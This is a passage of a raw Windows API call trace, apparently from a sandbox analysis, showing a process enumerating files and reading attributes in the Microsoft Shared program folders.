lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 0 [0045.321] GetLastError () returned 0x12 [0045.321] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0045.321] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0045.321] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.321] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1 [0045.321] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 0 [0045.321] GetLastError () returned 0x12 [0045.322] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec158) returned 1 [0045.322] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0045.322] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0045.322] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec0d0) returned 1 [0045.322] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1 [0045.322] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.EXE", cAlternateFileName="")) returned 1 [0045.322] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="eqnedt32.exe.manifest", cAlternateFileName="")) returned 1 [0045.322] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.HLP", cAlternateFileName="")) returned 1 [0045.322] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 1 [0045.322] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 0 [0045.322] GetLastError () returned 0x12 [0045.322] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec048) returned 1 [0045.322] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0045.322] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0045.322] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0045.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1 [0045.322] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0045.322] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO" (normalized: "c:\\program files\\common files\\microsoft shared\\euro"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0045.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO" (normalized: "c:\\program files\\common files\\microsoft shared\\euro"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0045.328] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0045.328] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9dde90 [0045.328] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9dde90, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9dde90, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0045.328] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9dde90) returned 1 [0045.328] NtClose (Handle=0x160) returned 0x0 [0045.328] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0045.328] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0045.328] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec048 [0045.328] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec0d0 [0045.328] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0045.328] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.328] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1 [0045.328] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0045.329] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0045.329] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0045.329] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0045.329] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0045.329] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0045.329] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 0 [0045.329] GetLastError () returned 0x12 [0045.329] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0045.329] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0045.329] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.329] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1 [0045.329] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 0 [0045.329] GetLastError () returned 0x12 [0045.329] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec0d0) returned 1 [0045.329] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0045.329] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec048) returned 1 [0045.329] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0045.329] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0045.329] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0045.329] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters" (normalized: "c:\\program files\\common files\\microsoft shared\\filters"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0045.409] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters" (normalized: "c:\\program files\\common files\\microsoft shared\\filters"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0045.409] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0045.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9dde90 [0045.410] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9dde90, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9dde90, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0045.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9dde90) returned 1 [0045.410] NtClose (Handle=0x168) returned 0x0 [0045.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0045.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0045.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec048 [0045.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec0d0 [0045.410] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0045.410] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.410] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x0, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1 [0045.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0045.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0045.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0045.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0045.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0045.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0045.410] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x6b29d7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x140790, dwReserved0=0x0, dwReserved1=0x0, cFileName="odffilt.dll", cAlternateFileName="")) returned 1 [0045.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0045.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0045.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0045.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0045.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0045.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0045.410] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x16af90, dwReserved0=0x0, dwReserved1=0x0, cFileName="offfiltx.dll", cAlternateFileName="")) returned 1 [0045.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0045.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0045.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0045.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0045.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0045.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0045.411] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 1 [0045.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0045.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0045.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0045.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0045.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0045.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0045.411] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 0 [0045.411] GetLastError () returned 0x12 [0045.411] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0045.411] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0045.411] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.411] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x0, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1 [0045.411] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x6b29d7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x140790, dwReserved0=0x0, dwReserved1=0x0, cFileName="odffilt.dll", cAlternateFileName="")) returned 1 [0045.411] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x16af90, dwReserved0=0x0, dwReserved1=0x0, cFileName="offfiltx.dll", cAlternateFileName="")) returned 1 [0045.411] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 1 [0045.411] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, 